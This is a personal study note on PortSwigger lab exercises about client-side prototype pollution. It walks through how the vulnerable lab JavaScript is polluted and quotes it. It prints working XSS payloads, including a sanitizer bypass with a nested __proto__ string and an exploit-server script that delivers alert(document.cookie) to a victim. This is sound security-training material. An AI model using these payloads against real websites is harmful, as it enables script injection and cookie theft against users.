Finding Client-side Prototype Pollution Sources Manually

Finding prototype pollution sources manually is largely a case of trial and error.

When testing for client-side vulnerabilities, this involves the following high-level steps:

  1. Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example: vulnerable-website.com/?__proto__[foo]=bar.
  2. In your browser console, inspect Object.prototype to see if you have successfully polluted it with your arbitrary property.
  3. If the property was not added to the prototype, try using different techniques, such as switching to dot notation rather than bracket notation, or vice versa: vulnerable-website.com/?__proto__.foo=bar.

Finding Client-side Prototype Pollution Sources Using DOM Invader

DOM Invader is able to automatically test for prototype pollution sources as you browse, which can save you a considerable amount of time and effort.

Finding Client-side Prototype Pollution Gadgets Manually

Once you’ve identified a source that lets you add arbitrary properties to the global Object.prototype,

  1. Add a debugger statement at the start of the client-side script.

  2. While the script is still paused, switch to the console and enter the following command, replacing YOUR-PROPERTY with one of the properties that you think is a potential gadget:

    Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
        get() {
            console.trace();
            return 'polluted';
        }
    })
  3. If a stack trace appears, this confirms that the property was accessed somewhere within the application.

  4. Expand the stack trace and use the provided link to jump to the line of code where the property is being read.

  5. Using the browser’s debugger controls, step through each phase of execution to see if the property is passed to a sink, such as innerHTML or eval().

Finding Client-side Prototype Pollution Gadgets Using DOM Invader

Given that websites often rely on a number of third-party libraries, manually identifying prototype pollution gadgets may involve reading through thousands of lines of minified or obfuscated code, which makes things even trickier.

DOM Invader can automatically scan for gadgets on your behalf and can even generate a DOM XSS proof-of-concept in some cases.

Lab: DOM XSS via Client-side Prototype Pollution

Turn on DOM Invader, try to search something and found some sources in search param of / endpoint.

One of them is:

/?search=hello&__proto__[testproperty]=DOM_INVADER_PP_POC

We also can use the pollution payload without search param:

/?__proto__[testproperty]=DOM_INVADER_PP_POC

There are 2 client-side script files: searchLogger.js and deparam.js.

// searchLogger.js
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}
 
async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
 
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
 
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}
 
window.addEventListener("load", searchLogger);

The query params (new URL(location).searchParams.toString()) will be passed into deparam() function which comes from deparam.js file.

The following code snippet in deparam.js is responsible for polluting the Object.prototype:

if ( keys_last ) {
	for ( ; i <= keys_last; i++ ) {
		key = keys[i] === '' ? cur.length : keys[i];
		cur = cur[key] = i < keys_last
			? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
			: val;
	}

Where:

  • keys_last: 1
  • i: 0
  • keys: ["__proto__", "testproperty"]
  • cur: {}
  • val: "DOM_INVADER_PP_POC"

First iteration:

  • key = "__proto__"
  • cur["__proto__"] = {}
  • cur = cur[__proto__]. At this step cur points to its prototype which is global prototype (Object.prototype).

Second iteration:

  • key = "testproperty"
  • cur["testproperty"] = "DOM_INVADER_PP_POC". This will pollute Object.prototype with testproperty property.
  • cur = "DOM_INVADER_PP_POC"

Hit the “Scan for gadgets” button and found a sink. Its stack trace:

    at _0x56d282 (<anonymous>:2:743834)
    at Object.EAULH (<anonymous>:2:382702)
    at HTMLScriptElement.set [as src] (<anonymous>:2:383828)
    at searchLogger (https://0a1c00630488f36280c2121e004100e7.web-security-academy.net/resources/js/searchLogger.js:14:20)

The last stack call would be this code snippet in searchLogger() function of searchLogger.js file:

let config = {params: deparam(new URL(location).searchParams.toString())};
 
if(config.transport_url) {
	let script = document.createElement('script');
	script.src = config.transport_url;
	document.body.appendChild(script);
}

Obviously, config will not have transport_url property and this property will be used as src for the <script> tag.

To sum up:

  • Source: search param
  • Gadget: transport_url property
  • Sink: <script> tag

Final payload:

/?search=hello&__proto__[transport_url]=data:,alert('xss');

Where data:,alert('xss') is a syntax to write and execute JavaScript in URL bar, which can be used as an URL.

Lab: DOM XSS via an Alternative Prototype Pollution Vector

The source of this lab is the same with the previous lab, which is the search param.

Payload is a bit different (use . instead of []):

/?search=hello&__proto__.testproperty=DOM_INVADER_PP_POC

Hit the “Scan for gadgets” button and found a sink. Its stack trace:

    at _0x56d282 (<anonymous>:2:743834)
    at Object.NRkhM (<anonymous>:2:104467)
    at Object.JRrUi (<anonymous>:2:349123)
    at _0x6b6954.<computed> (<anonymous>:2:374901)
    at searchLogger (https://0a2900c80477688390c95d5000e7004f.web-security-academy.net/resources/js/searchLoggerAlternative.js:18:5)

Source code in searchLoggerAlternative.js:

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}
 
async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;
 
    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
 
    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}
 
window.addEventListener("load", searchLogger);

The pollution happens in $.parseParams() method. Specifically, it comes from a source file named jquery_parseparams.js.

In parseParams() function, there is a loop to parse key-value pairs from query string:

var params = {}, e;
if (query) {
	// ...
	while (e = re.exec(query)) {
		var key = decode(e[1]);
		var value = decode(e[2]);
		createElement(params, key, value);
	}
	// ...
}
return params;

First iteration:

  • params: {}
  • key: "search"
  • value: "hello"

Second iteration:

  • params: {"search": "hello"}
  • key: "__proto__.testproperty"
  • value: "DOM_INVADER_PP_POC"

The createElement() function:

// Simple variable:  ?var=abc                        returns {var: "abc"}
// Simple object:    ?var.length=2&var.scope=123     returns {var: {length: "2", scope: "123"}}
function createElement(params, key, value) {
	key = key + '';
	// if the key is a property
	if (key.indexOf('.') !== -1) {
		// extract the first part with the name of the object
		var list = key.split('.');
		// the rest of the key
		var new_key = key.split(/\.(.+)?/)[1];
		// create the object if it doesnt exist
		if (!params[list[0]]) params[list[0]] = {};
		// if the key is not empty, create it in the object
		if (new_key !== '') {
			createElement(params[list[0]], new_key, value);
		} else console.warn('parseParams :: empty property in key "' + key + '"');
	} else
		// if the key is an array
	if (key.indexOf('[') !== -1) {
		// ...
	} else
		// just normal key
	{
		if (!params) params = {};
		params[key] = value;
	}

As we know, at the second iteration, the key has . inside it so the first if statement is taken:

  • list: ["__proto__", "testproperty"]
  • new_key: "testproperty"

Then, the following if condition will invoke createElement() function recurvesively:

if (new_key !== '') {
	createElement(params[list[0]], new_key, value);
}

Its arguments:

  • params[list[0]]: Object.prototype => params
  • new_key: "testproperty" => key
  • value: "DOM_INVADER_PP_POC" => value

Then, when called, createElement() function will add a property named "testproperty" with value is "DOM_INVADER_PP_POC" to Object.prototype via the last else statement:

else
	// just normal key
{
	if (!params) params = {};
	params[key] = value;
}

In the above code:

  • params: Object.prototype
  • key: "testproperty"
  • value: "DOM_INVADER_PP_POC"

This is when Object.prototype is polluted.

Next, we focus on this code snippet in searchLoggerAlternative.js file:

 let a = manager.sequence || 1;
manager.sequence = a + 1;
 
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

We can pollute the sequence property as it will be passed into eval() function.

To sum up:

  • Source: search param
  • Gadget: sequence
  • Sink: eval()

Payload

/?search=hello&__proto__.sequence=)};alert('xss');//

Explanation:

  • )} is used for closing macro() function as well as the code block.
  • ; is used for separating statements.
  • alert('xss'); is the code we want to execute.
  • // is used for commenting the remaining code in the context.

Prototype Pollution via the Constructor

A common defense is to strip any properties with the key __proto__ from user-controlled objects before merging them. This approach is flawed as there are alternative ways to reference Object.prototype without relying on the __proto__ string at all.

Unless its prototype is set to null, every JavaScript object has a constructor property, which contains a reference to the constructor function that was used to create it.

Remember that functions are also just objects under the hood. Each constructor function has a prototype property, which points to the prototype that will be assigned to any objects that are created by this constructor.

myObject.constructor.prototype        // Object.prototype
myString.constructor.prototype        // String.prototype
myArray.constructor.prototype         // Array.prototype

As myObject.constructor.prototype is equivalent to myObject.__proto__, this provides an alternative vector for prototype pollution.

Bypassing Flawed Key Sanitization

An obvious way in which websites attempt to prevent prototype pollution is by sanitizing property keys before merging them into an existing object.

Lab: Client-side Prototype Pollution via Flawed Sanitization

This lab has gadget and sink similar to Lab DOM XSS via Client-side Prototype Pollution, which are transport_url and script.src.

But there is a sanitizeKey(key) function in searchLoggerFiltered.js file:

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}
 
async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}
 
function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}
 
window.addEventListener("load", searchLogger);

The replaceAll does not replace recursively so we can obfuscate like this:

/?search=hello&__pro__proto__to__.testproperty=DOM_INVADER_PP_POC

The payload after sanitization will be:

/?search=hello&__proto__.testproperty=DOM_INVADER_PP_POC

There is another problem comes from deparam() function: the pollution only happens when we use [] instead of . notation.

This is because the code block that causes prototype pollution only be executed if its if condition is satisfied:

if ( keys_last ) {
	for ( ; i <= keys_last; i++ ) {
		key = keys[i] === '' ? cur.length : keys[i];
		cur = cur[sanitizeKey(key)] = i < keys_last
			? cur[sanitizeKey(key)] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
			: val;
	}
}

To make keys_last become truthy, we need to satisfy this code block:

keys = key.split( '][' ),
keys_last = keys.length - 1;
 
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
	keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
 
	keys = keys.shift().split('[').concat( keys );
 
	keys_last = keys.length - 1;
}

Which implies that the property we use need to be square brackets.

Modified payload:

/?search=hello&__pro__proto__to__[transport_url]=data:,alert('xss');

Prototype Pollution in External Libraries

In this case, we strongly recommend using DOM Invader’s prototype pollution features to identify sources and gadgets. Not only is this much quicker, it also ensures you won’t miss vulnerabilities that would otherwise be extremely tricky to notice.

Lab: Client-side Prototype Pollution in Third-party Libraries

This lab requires executing alert(document.cookie) in the browser.

Use DOM Invader and find a source come from fragment:

/#cat=13371&__proto__[testproperty]=DOM_INVADER_PP_POC

Also found a gadget named hitCallback and a sink named setTimeout via “Scan for gadgets” button.

Final payload:

/#cat=13371&__proto__[hitCallback]=alert(document.cookie)

Deliver to victim via exploit server:

<script>
	location="https://0adf00500362c0cd87a7adaf0085006b.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
list
from outgoing([[Port Swigger - Client-side Prototype Pollution Vulnerabilities]])
sort file.ctime asc

Resources